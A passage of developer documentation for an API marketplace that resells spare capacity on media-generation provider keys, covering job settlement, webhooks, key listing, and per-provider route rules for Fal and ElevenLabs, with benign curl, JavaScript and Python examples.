endpoints](https://www.surplusintelligence.ai/docs/api-reference/resources) - the endpoint reference for this whole surface. - [Access rules](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) - why a particular call is or is not reachable. - [Listing your key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-listing) - the other side of the market. --- # /docs/marketplace/provider-market-jobs # Jobs and settlement Some provider-key calls answer with a result. Many answer with an **id**, and the result arrives later. This page is how those behave end to end: what binds a job to a seller, how you follow it, and exactly when money moves. If you only read one thing: **a submit is not the end of the transaction.** The charge settles when you fetch the result. ## Two shapes of call - **Finishes in the response**: ElevenLabs sound and music, Fal on fal.run - charged the actual cost before you get the bytes - **Finishes as a job**: Wavespeed tasks, Fal on queue.fal.run - the submit answers with an id and owes the quote ## What binds a job When a submit comes back with an id, that id is pinned to the one offer that took it. **The binding** - **Provider**: the provider id, e.g. wavespeed - **Job id**: request\_id on Fal, data.id on Wavespeed - **Your account**: a job is never visible to another buyer - **One offer**: the seller whose key actually ran it Three things identify a job: the provider, the id, and your account. A follow-up that does not match all three is a 404 - not another seller's key. The binding lives for **27 hours**. After that a follow-up answers `404 job_not_found`, so collect long jobs within a day. Pinning to one offer is not an optimisation. The provider holds that job against **that seller's key**, so a poll routed to a different seller would ask the wrong account about a job it has never heard of. Routing happens once, at submit. > If a binding cannot be written, the submit still succeeds - the provider already has the job, so you still get > your id - but the follow-ups will 404 rather than reach another seller. The failure is logged on our side. It is > the safe direction to fail: a job you cannot collect costs you nothing, whereas a poll on the wrong key would > be a correctness bug. ## Following a job This is the part that differs by provider, and it is the one thing you have to get right. **Who rewrites your follow-up URLs** | Can they… | Follow-up URLs | What you do | | -------------------------------------- | :--------------------------: | :-------------------------------------------: | | Every provider except Fal (path style) | Yes (rewritten to our route) | Yes (follow them as given) | | Fal (header style) | No (returned untouched) | Partial (send the target in x-fal-target-url) | Path-style providers return their own URLs and we rewrite them before you see them. Fal's are left alone because its SDK builds them itself and sends each target as a header. ### Path-style: just follow the URL A Wavespeed submit returns `data.urls.get` pointing at `api.wavespeed.ai`. Before that reaches you, we replace it with the same path on our route: ``` https://api.wavespeed.ai/api/v3/predictions/{id}/result ↓ rewritten, in the submit response you receive https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/predictions/{id}/result ``` Three fields are rewritten where a provider returns them - `status_url`, `response_url` and `cancel_url` - plus `data.urls.get`. Only URLs on the provider's **own** hosts are touched; output and CDN links are left exactly as they are, so a signed artifact URL still works. Follow the URL you were given and everything stays on your key and your offer. Call the provider's host directly and you have no credential there. ### Fal: send the target in the header Fal's SDK already knows how to build `…/requests/{id}/status` and proxies each target as a header, so rewriting would fight it. Keep the path empty and move the target: ```bash curl https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "x-fal-target-url: https://queue.fal.run/fal-ai/flux/dev/requests/$ID" ``` ## When money moves **A job's money, step by step** 1. **Submit**: Quoted; hold = quote + 25% 2. **Poll**: No hold, no charge 3. **Result fetched**: Provider's reported usage read 4. **Charged**: min(reported, quote); hold released The hold is the quote plus a 25% buffer. Polling is free. The charge lands once, at the result, and it can never exceed what was quoted. Four rules: 1. **A call the provider answers with an error costs nothing.** Not the quote, not a partial - zero. The hold is released. A failed job is released the same way. Two exceptions are charged the quote, because the provider may still bill the seller: a call it did not answer in time (`504 resource_upstream_timeout`), and a streamed answer that ends without usable usage. 2. **The quote is a ceiling.** You are charged the lower of two numbers: the provider's reported usage, or the quote. A report above the quote means our estimator was wrong, and that is not your bill - the seller absorbs the difference. 3. **No report means the quote.** For a bounded unit the quote already is the ceiling. 4. **Polling is free.** A status check places no hold and makes no charge. Only the result settles. The hold carries a 25% buffer over the quote so a call that prices slightly higher than estimated still has room to capture. The buffer is held, never charged - what you pay is rule 2. ### Retries and Idempotency-Key **Without a key, a repeat is a second generation.** Sending the same call twice runs it twice at the provider, and both runs are billed: the provider really produced two results, and refusing to bill the second would mean the seller pays for it. **With a key, a repeat is the first answer again.** `Idempotency-Key` dedupe on the Provider Market is **being enabled**; until it is, the header is ignored and the paragraph above applies. Once enabled, a call that sends a key is claimed for 24 hours, per account (per paying wallet on x402) and key, on every provider and every path, job submits and embeddings included. The repeat never reaches the provider, so nobody produces a second result and nobody is billed for one: - **The same call again** (method, path including any `/min{N}` prefix, query and body) gets the first answer, its status, body and `x-si-*` headers, plus `Idempotency-Replayed: true`, and is charged nothing. The cost headers describe the original charge. An error the provider answered is replayed as the same error, and was charged nothing the first time. - **A job submit** replays its first answer: the same job id and the same follow-up URLs, which work as before. A follow-up (a poll or the result) is not deduped and needs no key: polling stays free and the result settles once. `x-surplus-webhook-secret` comes only with the first answer. - **While the first call is still running**, the repeat gets `409 idempotency_in_progress`. Retry shortly. - **A different call under the same key** gets `422 idempotency_key_reused`, with nothing sent or charged. Use a new key for a new call. - **A call whose answer was not kept** gets `409 idempotency_replay_unavailable`, naming the first request's id, with no second call or charge. Not kept: a secret-masked call, an answer over 4 MiB, a stream that ended early, and a timed-out call (charged its quote). - **A call refused or failed before any charge** (no credit, no offer, every seller failed) releases its key, so a retry with the same key runs. - **A replay writes no Requests-log entry.** So: generate one key per call and reuse it when you retry that call. Once dedupe is enabled, that retry can never be a second charge. To run a timed-out call again, send a new key, and accept a second charge. ## Job states are not outcomes Neither live provider reports failure the way you would expect, so we confirm both the same way you should: **on the result, not the status.** **Reading a job's real outcome** 1. returns an id → **Submit** 2. IN\_QUEUE / IN\_PROGRESS → **Poll status** 3. COMPLETED / completed → **Reads done** Back to “Poll status” - this loop can run many times. Exit: **Fetch the result**: 2xx succeeded and is charged; 4xx failed and is free On Fal a failed job also reads COMPLETED, with no error on the status. The result is the only honest signal, and it is what settlement reads too. | Provider | Status field | Reads done at | Real outcome | | --------- | ------------- | ------------- | -------------------------------------- | | Fal | `status` | `COMPLETED` | The result: 2xx succeeded, 4xx failed. | | Wavespeed | `data.status` | `completed` | The result read. | A Fal job with invalid input queues happily, reads `COMPLETED`, and then answers 422 on its result with `x-fal-billable-units: 0`. That is why the result is the settlement trigger: it is the first point where the truth is knowable, and it is free when the answer is "it failed". ## Being told when a job finishes Instead of polling, ask for a webhook. There are two ways, and you can use both. **On the submit itself.** Pass your URL in the provider's own webhook parameter, exactly as you would calling the provider directly. Surplus checks it (https, a public host), keeps it for this job, and never forwards it: the provider only ever calls Surplus. The response is the provider's own, plus one header carrying this job's signing secret: ```bash curl -i "https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell?webhook=https%3A%2F%2Fexample.com%2Fhooks%2Fjob" \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"prompt":"a red cube"}' # x-surplus-webhook-secret: kmwhsec_… (sent once, only here; a replayed submit does not carry it) ``` A URL that fails the check is refused with `400 invalid_webhook_url` before the job starts, and if we cannot set up its webhook you get a retryable `503 webhook_unavailable`, also before anything starts. In the rare case the job starts but its webhook could not be set up, the response carries `x-surplus-webhook-status: unavailable` instead of the secret (also on a job your workspace subscribes to): poll that job. If you moved over from the provider, the one change is verifying Surplus's signature with this secret instead of the provider's. **For every job in a workspace.** Owners and admins create a subscription once: ```bash curl -X POST https://api.surplusintelligence.ai/v1/webhooks \ -H "Authorization: Bearer $ADMIN_KEY" \ -H "Idempotency-Key: $(uuidgen)" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com/hooks/surplus","event_types":["resource.job.completed"]}' ``` Either way, each job sends one event when it reaches its outcome, in the same body for every provider: ```json { "type": "resource.job.completed", "created_at": "2026-10-23T12:00:20.000Z", "data": { "job_id": "9f2c4b1e3a", "request_id": "01J9ZZZZZZZZZZZZZZZZZZZZZZ", "resource": "wavespeed", "model": "wavespeed/api/v3/wavespeed-ai/flux-schnell", "status": "succeeded", "submitted_at": "2026-10-23T12:00:00.000Z", "completed_at": "2026-10-23T12:00:20.000Z", "outputs": ["https://…/output.jpeg"], "error": null, "charged_micro": 2700 } } ``` `status` is `succeeded` (charged), `failed` or `canceled` (nothing charged), or `expired` (no outcome could be confirmed within a day; nothing charged). `charged_micro` is what you paid, in millionths of a dollar. `outputs` lists the output URLs where the provider names them; the full result is always one free fetch away through your usual follow-up URL. `error` is `null`, or a Surplus code and message. Deliveries are signed (`x-surplus-signature`, HMAC-SHA256 of `{t}.{body}`), retried when your endpoint fails, and never follow a redirect. They are **at least once**: dedupe on `request_id`, which is unique per job. How fast it arrives depends on the provider. Wavespeed calls us the moment a job finishes, so the event follows within seconds. On providers that cannot call back, or not yet (Fal, Uncensored), the event goes out when your next poll or our own check (every few minutes) sees the outcome. This is being enabled. Until it is on for your account, keep polling; a slow poll is a sensible fallback anyway. ## Related - [Your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling) - the end-to-end path. - [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal) - the queue route and the header style. - [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed) - tasks and the result read. - [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) - how a discount is applied and what it comes off. - [Provider key endpoints](https://www.surplusintelligence.ai/docs/api-reference/resources) - the endpoint reference. --- # /docs/marketplace/provider-market-listing # Listing your key The other side of the market: you already pay one of the ten live providers (`GET /api/markets/keys` lists them) for capacity you are not fully using, and you list the key so other people's calls run on it at a discount you set. This page is the end-to-end path through the API. The dashboard does the same thing with a form. **Listing a key, end to end** 1. **Probe**: Is this key valid? Key used once, never stored 2. **Price it**: discount\_percent, 5–80 3. **Scope it**: Capabilities, refuse rules, caps 4. **Create the offer**: Key encrypted; listing goes live The probe is free and the key is thrown away afterwards. Nothing is listed until you create the offer, and the uniqueness claim is taken before the key is stored. ## 1. Probe the key Check a key before you commit it. The probe spends nothing - each provider's probe is a free, read-only endpoint - and **the key is used once and never stored**. **POST /v1/resource/seller/keys/probe** **cURL** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resource/seller/keys/probe \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"resource_id":"elevenlabs","api_key":""}' ``` **Response** ```json { "ok": true, "scopes": ["audio"] } ``` A bad key answers `200` with `"ok": false` rather than an error - it is a verdict about your key, not a failure of the request. | Provider | What the probe reads | | ------------ | ----------------------------- | | `fal` | Unit prices for one endpoint. | | `wavespeed` | The account balance endpoint. | | `elevenlabs` | The model list. | ## 2. Create the offer **POST /v1/resource/seller/offers** **cURL** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resource/seller/offers \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{ "resource_type": "elevenlabs", "api_key": "", "label": "Spare ElevenLabs capacity", "discount_percent": 50, "cap_daily_usd": 25, "policy": { "allow": ["elevenlabs.music", "elevenlabs.sound-effects"], "deny": [] }, "ack_persists_state": true, "ack_provider_terms": true }' ``` **Response** ```json { "id": "roff_01JC…", "resource_type": "elevenlabs", "discount_percent": 50, "active": true } ``` The response **never echoes the key**, on any endpoint, including the listing read. It is encrypted under a KMS envelope and decrypted only at call time, in the worker that makes the upstream request. - `resource_type` (string, required): The provider id, as `resource_id` in `GET /api/markets/keys` (for example `elevenlabs` or `openrouter`). - `api_key` (string, required): The provider key. Key listings take `api_key` only - `api_secret` is refused with `api_secret_unsupported`. - `discount_percent` (integer, required): A whole number from **5 to 80**, off the provider's own list price. `pricing_multiplier` is refused here with `pricing_multiplier_unsupported`: a key listing is priced one way only. - `label` (string): Yours, and private to you. This is how you tell two listings of the same provider apart - see below. - `cap_daily_usd` (number): A spend ceiling in USD. `cap_weekly_usd` and `cap_monthly_usd` work the same way. A capable offer that has spent its cap is skipped, and the buyer sees `seller_cap_reached`. - `policy` (object): `{ allow, deny }` - the capabilities this key serves and the routes it refuses. Omit it and the listing stays on the provider's default template, resolved when it is read, so a later change to that template reaches every listing that never scoped itself. - `payout_address` (string): Where earnings go. Defaults to your organization's payout wallet. - `ack_persists_state` (boolean, required): Must be `true`. You are acknowledging that the provider may keep a record of buyers' calls on your account on ElevenLabs it certainly will. - `ack_provider_terms` (boolean, required): Must be `true`. You confirm that your provider's terms let you resell this key; complying with them is between you and the provider. Both acknowledgements are mandatory - omit either and the request is refused `acknowledgement_required`. They are not a formality: one is about your data, the other about your contract with the provider. ## One active listing per key, per model > A credential may back **one active offer per model, per base URL** - enforced across every workspace and > organization, and not behind a feature flag. A second one is refused `409 duplicate_offer_for_credential`, > naming the offer that already holds the claim. The key is not the unit of uniqueness; the **triple** is - credential, base URL, model. Most production credentials legitimately serve many models, so keying on the credential alone would invalidate most of the market. The base URL is in there because the same key against a direct host and against an aggregator are different failure domains. To change a live listing, update it. Do not create a second one. ```bash curl -X PATCH https://api.surplusintelligence.ai/v1/resource/seller/offers/roff_01JC… \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"discount_percent": 40, "cap_daily_usd": 50}' ``` ## Labels, not key hints Listings carry **no fragment of the key** - not even a last-four hint, and the API does not return one. That is a deliberate replacement rather than an omission. Several listings of one provider would all draw the same provider name and the same `…abcd` tail, which makes pausing or repricing the right one guesswork. Your own private `label` does that job properly, so give each listing one. ## What you are agreeing to serve Three checks decide every call, and the first refusal wins. You control the second and third. **Where your choices sit** - 1 · The Surplus fence: ours (provider's own host only; no account, billing or key routes) - 2 · Your refuse rules: yours (a match ends the call - beats a ticked capability) - 3 · Your capabilities: yours (whatever survives must fall inside one you ticked) The platform fence is ours and cannot be widened. Within it, your refuse rules beat your ticked capabilities - which is what makes a refuse rule a usable escape hatch. A rule can only ever **take away**. There is no rule that adds a route, and nothing you write reaches past the fence - so the worst a typo can do is refuse too much. [Access rules](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) is the full reference, including the wildcard syntax. ## Traits are claims until they are not You can advertise properties of the account behind your key - an EU region or a business plan - and buyers can require them with `X-SI-Require`. `traitsVerified` starts **empty on every listing**, however much you tick. A claim is not evidence, and the only things that can move a trait to verified are our own prober and an operator reviewing what you supplied. Most traits can only ever be **Claimed**, because there is nothing about someone else's account configuration we can check from outside - and we would rather say that than imply a check we did not make. A false claim removes the listing and holds its earnings. ## Managing listings | Endpoint | What it does | | -------------------------------------------- | -------------------------------------------- | | `GET /v1/resource/seller/offers` | Your listings. Never includes the key. | | `PATCH /v1/resource/seller/offers/{id}` | Reprice, re-cap, re-scope, pause. | | `DELETE /v1/resource/seller/offers/{id}` | Delist. Releases the uniqueness claim. | | `POST /v1/resource/seller/offers/{id}/purge` | Delist and destroy the stored credential. | | `DELETE /v1/resource/seller/offers` | Delist everything. | | `GET /v1/resource/seller/analytics` | Earnings, and the demand your rules refused. | Your refusals appear on your own analytics as **demand your rules refused**, priced at your rates, so you can see what a rule costs you before deciding to keep it. ## Related - [Access rules](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) - the three checks and the rule syntax, in full. - [Your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling) - what a buyer experiences. - [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing) - how a discount is applied and what it comes off. - [Provider key endpoints](https://www.surplusintelligence.ai/docs/api-reference/resources) - the endpoint reference. - [Security and privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) - how your key is stored. --- # /docs/marketplace/provider-market-providers # Providers The Provider Market's ten live providers, one section each: [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#fal), [ElevenLabs](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#elevenlabs), [Wavespeed](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#wavespeed), [Uncensored](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#uncensored), [Higgsfield](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#higgsfield), [OpenRouter](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#openrouter), [Vercel AI Gateway](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#vercel-ai-gateway), [Cartesia](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#cartesia), [Orbio](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#orbio) and [Venice](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#venice). `GET /api/markets/keys` is the current list. ## Fal Fal is the one provider on the Provider Market that does **not** take its target in the URL. That single difference accounts for most first-call failures, so it is the first thing in this section. Billing unit: **per megapixel**. The seller's Fal history never shows your prompt, inputs or output. Fal keeps a queued result for **1 hour** (**6 minutes** if it is 10 KB or larger), so fetch it before then. ### The target is a header, and the path is empty **Why Fal is shaped differently** - **What works**: POST /v1/resources/fal + x-fal-target-url: https\://fal.run/fal-ai/flux/schnell - **What is refused**: POST /v1/resources/fal/fal-ai/flux/schnell → 400 unexpected\_path Fal's own SDK builds the full model URL and expects to send it through a proxy as a header. A path on our route would be a second, conflicting target - so it is refused outright rather than guessed at. The target must be an absolute `https` URL on one of Fal's two model hosts. Anything else - Fal's storage, pricing or account hosts, or any other domain - never leaves our fence. | Host | What it is | | --------------- | -------------------------------------------- | | `fal.run` | Answers with the result itself. Synchronous. | | `queue.fal.run` | Starts a job and answers with an id. | **So Fal is not a base-URL swap.** Both hosts serve the same model paths, and only the host says whether you want the answer now or a job. Replace `https://fal.run` (or `https://queue.fal.run`) with our route and that choice is lost, so a hand-built URL or a `curl` that appends Fal's path is refused `unexpected_path`. Keep the path empty and send the full Fal URL in `x-fal-target-url`, or use the SDK below, which does that for you. ### Using the SDK `@fal-ai/client` is the normal way in. Point `proxyUrl` at our route and send the target **always**, not just when the SDK feels like it: **Fal SDK through Surplus** **JavaScript** ```javascript import { fal } from '@fal-ai/client'; fal.config({ // No Fal key here — the seller's key is resolved on our side, at call time. proxyUrl: { url: 'https://api.surplusintelligence.ai/v1/resources/fal', when: 'always', }, requestMiddleware: async (request) => ({ ...request, headers: { ...request.headers, Authorization: `Bearer ${process.env.SURPLUS_API_KEY}` }, }), }); const result = await fal.subscribe('fal-ai/flux/schnell', { input: { prompt: 'a tiny red origami crane', image_size: 'square', num_images: 1 }, }); console.log(result.data.images[0].url); ``` **Python** ```python # The Python client has no proxy option, so call the route directly. import os, requests r = requests.post( "https://api.surplusintelligence.ai/v1/resources/fal", headers={ "Authorization": f"Bearer {os.environ['SURPLUS_API_KEY']}", "x-fal-target-url": "https://fal.run/fal-ai/flux/schnell", "Content-Type": "application/json", }, json={"prompt": "a tiny red origami crane", "image_size": "square", "num_images": 1}, timeout=60, ) print(r.headers["x-si-buyer-cost-micro"], r.headers["x-si-list-cost-micro"]) print(r.json()["images"][0]["url"]) ``` `when: 'always'` matters. With the default the SDK proxies only some calls and sends the rest straight to Fal, where your request has no credential and fails - with nothing on our side to explain why. > Fal is the one provider whose follow-up URLs we leave untouched: its SDK builds them itself and sends each > target in the header, so it stays on your key without our help. Path-style providers get their follow-up URLs > rewritten instead - see [jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs#following-a-job). ### A worked queue job **Submit, poll, collect** **Submit** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "x-fal-target-url: https://queue.fal.run/fal-ai/flux/dev" \ -H "Content-Type: application/json" \ -d '{"prompt":"a paper boat","image_size":"square"}' # → { "request_id": "764cabcf-…", "status_url": "…", "response_url": "…" } ``` **Status** ```bash # Fal's own URLs are left as they are; send them back through the header. curl https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "x-fal-target-url: https://queue.fal.run/fal-ai/flux/dev/requests/764cabcf-…/status?logs=1" # → { "status": "IN_QUEUE" | "IN_PROGRESS" | "COMPLETED" } ``` **Result** ```bash curl https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "x-fal-target-url: https://queue.fal.run/fal-ai/flux/dev/requests/764cabcf-…" # → the images, and this is where the charge settles ``` `COMPLETED` does not mean it worked. A failed Fal job also reads `COMPLETED`, with no error on the status, so the outcome is only confirmed on the result: 2xx succeeded, 4xx failed. We settle on the same evidence you do. ### What is reachable Only Fal's own public models, on three methods: | Rule | Covers | | ---------------- | ---------------------- | | `POST /fal-ai/+` | Submit or run a model. | | `GET /fal-ai/+` | Status and result. | | `PUT /fal-ai/+` | Cancel. | `fal-ai` is the only publisher. That is not a preference - a seller's **private apps** live under `/` and answer on these same two hosts to the seller's key, so no denylist could cover them, while nobody else can deploy under `fal-ai`. An allowlist of one publisher is the only shape that is safe by construction. Other public publishers are added as data once verified. `?logs=1` is the one query parameter passed through, because the SDK asks for run logs on status polls. `fal_webhook` is deliberately not: it would send your result to a URL we do not control. Two response headers come back untouched, because the SDK reads both: `x-fal-request-id` and `x-fal-request-timeout-type`. Two things Fal refuses here. ### LLMs `fal-ai/any-llm` is Fal's unified LLM endpoint - Claude, GPT, Gemini, Llama - and it is denied **provider-wide**, not per listing. An LLM bills on **output** tokens, which no quote taken before the call can bound. That makes it a platform pricing gap rather than a seller's choice, which is exactly why it is not left to the access editor. The rule is unqualified across every method, not `POST`-only: a family refused on one verb and open on the others reads as an oversight the next time someone edits it. LLM resale is the order book's job, not this market's. Use `/v1/chat/completions`. ### Models that can run for minutes **The list price is moving to Fal's published price** for the model, read with Surplus's own Fal account rather than the seller's (rolling out per stage). Until then, it is the serving seller's own Fal price. Once it is, a seller whose own Fal account gets a better rate keeps that difference as margin. Fal prices most image models per megapixel or per image, and those answer inside the request. Everything else - video, 3D, long audio - can run for minutes. **Why a long model must be queued** 1. **Priced per megapixel or image**: Runs on fal.run, answers inline 2. **Priced any other way**: Refused on fal.run - 400 job\_route\_required 3. **Submit to queue.fal.run**: Survives a replaced task A synchronous call holds a task until the provider answers, and a task being replaced by a deploy drains for 60 seconds. A minutes-long model cut there is billed to the seller and never reaches you - so it is refused up front instead. The refusal names itself: `job_route_required`. Submit the same model to `queue.fal.run` instead and follow it as a job. A queue submit answers immediately either way, so this costs you nothing but a different target host. On the x402 rail there is no queue option - the message says so, and you need a Surplus API key for those models. ### Models priced by a reference video Kling motion control (`fal-ai/kling-video/{v3,v2.6}/{standard,pro}/motion-control`) bills per second of the reference video. The hold is the longest clip allowed for `character_orientation` (**10 s** for `image`, **30 s** for `video`), and you are charged the seconds Fal bills. `character_orientation` is required. ### Timeouts `POST /fal-ai/+` is capped at **50 seconds**, inside the fleet's 60-second drain, so a deploy never cuts a call a seller is already billed for. A model that needs longer belongs on the queue. ## ElevenLabs ElevenLabs is a **path-style** provider: the provider's own path goes straight onto our route, and the seller's `xi-api-key` is attached on our side. Billing unit: **per 1 000 characters**. > On ElevenLabs, the seller's account **keeps a record of your call**. Text to speech > writes a history item with your text and the audio, and speech to text a transcript. We ask ElevenLabs to delete it with > the seller's key right after you get your result: a transcript at once, a history item within a few seconds (ElevenLabs writes > it just after it answers). Until then it is on the seller's account. That is a property of the provider, not of our > proxy, and it is why the trait badges on a listing matter here more than anywhere else. ### Five routes, and that is the whole surface ElevenLabs publishes over four hundred operations. **Five are reachable** (text to speech in two forms). **What the allowlist admits** - POST /v1/sound-generation: open (a short sound effect - your result, nothing of the account) - POST /v1/music: open (leaves no history; its two account fields are refused where it is priced) - POST /v1/text-to-speech/{voice\_id}: open (default and Voice Library voices; also /stream and /with-timestamps) - POST /v1/speech-to-text: open (an uploaded WAV or MP3, up to 30 minutes of audio) - GET /v1/models: open (the static model list, free and read-only) - everything else: ~~refused~~ (account data, stored data, or cannot be priced before the call) An allowlist, not a denylist: a route is unreachable until someone opens it deliberately. Everything not named here is refused, including routes nobody has thought about yet. `?output_format=` is the one query parameter passed through. Text to speech and speech to text are **off until a seller turns them on**, so a listing serves them only when it says so. Each needs the seller's key to carry the permission to delete what the call stores; a key without it is never sent the call. ### Calling them **ElevenLabs through Surplus** **Sound effect** ```bash # Answers with audio BYTES, not JSON. The cost headers still ride on the response. curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/sound-generation \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{"text":"a short soft chime","duration_seconds":1}' \ --output chime.mp3 --dump-header headers.txt grep x-si- headers.txt # x-si-buyer-cost-micro: 1500 # x-si-list-cost-micro: 3000 ``` **Music** ```bash # Up to the priced ceiling of five minutes; a 5-minute song answers in about 25 s. curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/music \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"prompt":"a slow piano loop in A minor","music_length_ms":30000}' \ --output loop.mp3 ``` **Text to speech** ```bash # A default voice (George here). Priced per character: $0.04 per 1K on Flash and Turbo, $0.08 on the others. curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/text-to-speech/JBFqnCBsd6RMkjVDRZzb \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"text":"Hello from Surplus.","model_id":"eleven_flash_v2_5"}' \ --output hello.mp3 ``` **Speech to text** ```bash # $0.20 per hour of audio (ElevenLabs' published rate), charged for the length ElevenLabs reports. # Models: scribe_v1, scribe_v2, scribe_v2_medical and scribe_v3. curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/speech-to-text \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -F model_id=scribe_v2 \ -F file=@meeting.mp3 ``` **Models** ```bash # Free and read-only — any valid key may read it, so it doubles as the seller's key probe. curl https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/models \ -H "Authorization: Bearer $SURPLUS_API_KEY" ``` Music, text to speech and speech to text may run for up to **110 seconds**. A call still running when a server is replaced (a deploy) can be cut, and is then charged its estimate. ### What text to speech and speech to text accept - **Voices.** ElevenLabs' default voices and any public Voice Library voice, by its `voice_id`. A cloned voice lives on the account that made it, so one on your own ElevenLabs account is not available through a seller's key; share it to the Voice Library to make it usable. A few Library voices bill 2× or 3× ElevenLabs credits per character: those are charged at their real rate (minus the seller's discount), and are held at up to 3× until the call reports its cost. A seller on ElevenLabs' free plan cannot use Library voices; such a call moves to another seller. - **Refused fields.** Text to speech: `pronunciation_dictionary_locators`, `previous_request_ids`, `next_request_ids`, `use_pvc_as_ivc`, `audio_effects`, `apply_language_text_normalization`. Speech to text: `source_url`, `cloud_storage_url`, the webhook fields, `use_speaker_library` and multichannel. Any field not documented above is refused rather than passed on. - **Text length.** Up to ElevenLabs' own limit per request: 100,000 characters on v4 and v4 Turbo, 10,000 on Multilingual v2, 5,000 on v3, 40,000 on Flash v2.5 and Turbo v2.5, 30,000 on Flash v2 and Turbo v2. A regular call longer than 2,500 characters on v4 and v3 (4,000 on v4 Turbo, 6,000 on Multilingual v2, 25,000 on Flash and Turbo) is generated through ElevenLabs' streaming endpoint and arrives as it is generated: your client still receives one complete file, without a `Content-Length` header, and a failure part way ends the connection with an error. `with-timestamps` returns one JSON answer at the end, so it has its own limits, sized to finish inside 90 seconds: 4,000 characters on v4, 6,000 on v4 Turbo, 3,500 on v3, 8,500 on Multilingual v2, 35,000 on Flash and Turbo v2.5, 30,000 on Flash and Turbo v2; use `stream/with-timestamps` for longer text. Split text over ElevenLabs' limit into several requests. - **Speech to text pricing.** You pay for the length ElevenLabs reports, plus $0.05 per hour with `keyterms` and $0.07 per hour with `transcript_edit`. Before the call, the file is held at the longest it could play: a WAV by its bytes, an MP3 by counting its frames. Send WAV (PCM), MP3, or raw 16 kHz PCM with `file_format=pcm_s16le_16`; convert FLAC, OGG, M4A, MP4, AAC and WebM first, since their length cannot be bounded before ElevenLabs decodes them. Audio over 30 minutes is refused: split it. ### Why the other routes are closed The rule is one sentence: **the seller's account may keep a record of your request, but you may read nothing of that account.** Each family below fails it for a different reason, and the reasons are worth knowing because they tell you what would have to change. | Can they… | Reaches account data | Unpriceable up front | Leaves seller history | | ---------------------------------------- | :-------------------------------------------: | :------------------------------------: | :-------------------: | | Speech-to-speech, dialogue | Yes (voice\_id may be a private cloned voice) | No | Yes | | The voice lists (/v1/voices, /v2/voices) | Yes (they ARE the seller’s library) | No | No | | Audio isolation | No | Yes (billed by uploaded audio length) | Yes | | Forced alignment | No | Yes (same basis as isolation) | Yes | | Account, keys, billing, usage | Yes (service accounts can mint keys) | No | No | | Streaming | No | Yes (cannot be metered for settlement) | No | Read across a row for why that family is closed. Two different disqualifiers recur: a field that reaches the seller's own account data, and a billing basis no quote taken before the call can bound. Two of those are worth drawing out: - **Voice routes are not a capacity question.** A `voice_id` can name one of the seller's private cloned voices. Text to speech is open, and accepts default and Voice Library voices; speech-to-speech and dialogue need their own review before they can open. - **Audio isolation and forced alignment are priced by the length of a file you upload.** No quote taken before the call can bound that, which is the same property that keeps LLMs off [Fal](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers#llms). Opening either is a cost-source change first. Music is the exception that proves the rule: it leaves no history, and its two fields that would touch the account - `finetune_id` and `store_for_inpainting` - are refused at the point where it is priced. ### Two layers, not one A route can be closed two ways here, and the difference is deliberate. - **Everything ElevenLabs publishes**: over 400 operations - **Named on the denylist**: account, stored data, voices, streams - can never be opened by widening an allow rule - **Refused by absence alone**: not opened yet; e.g. the audio-effects catalogue - **Open**: sound generation, music, text to speech, speech to text, models The allowlist is what we have opened. The denylist underneath is the safety net: it names the routes that reach account data, so a later, wider allow rule still cannot open them. `GET /v1/audio-effects/catalog` is deliberately **not** on the denylist. It lists filter presets - a static catalogue of the same class as `GET /v1/models`, which is open - so naming it would imply it reaches the seller's account, which it does not. It stays refused by the allowlist, which is what "we have not opened 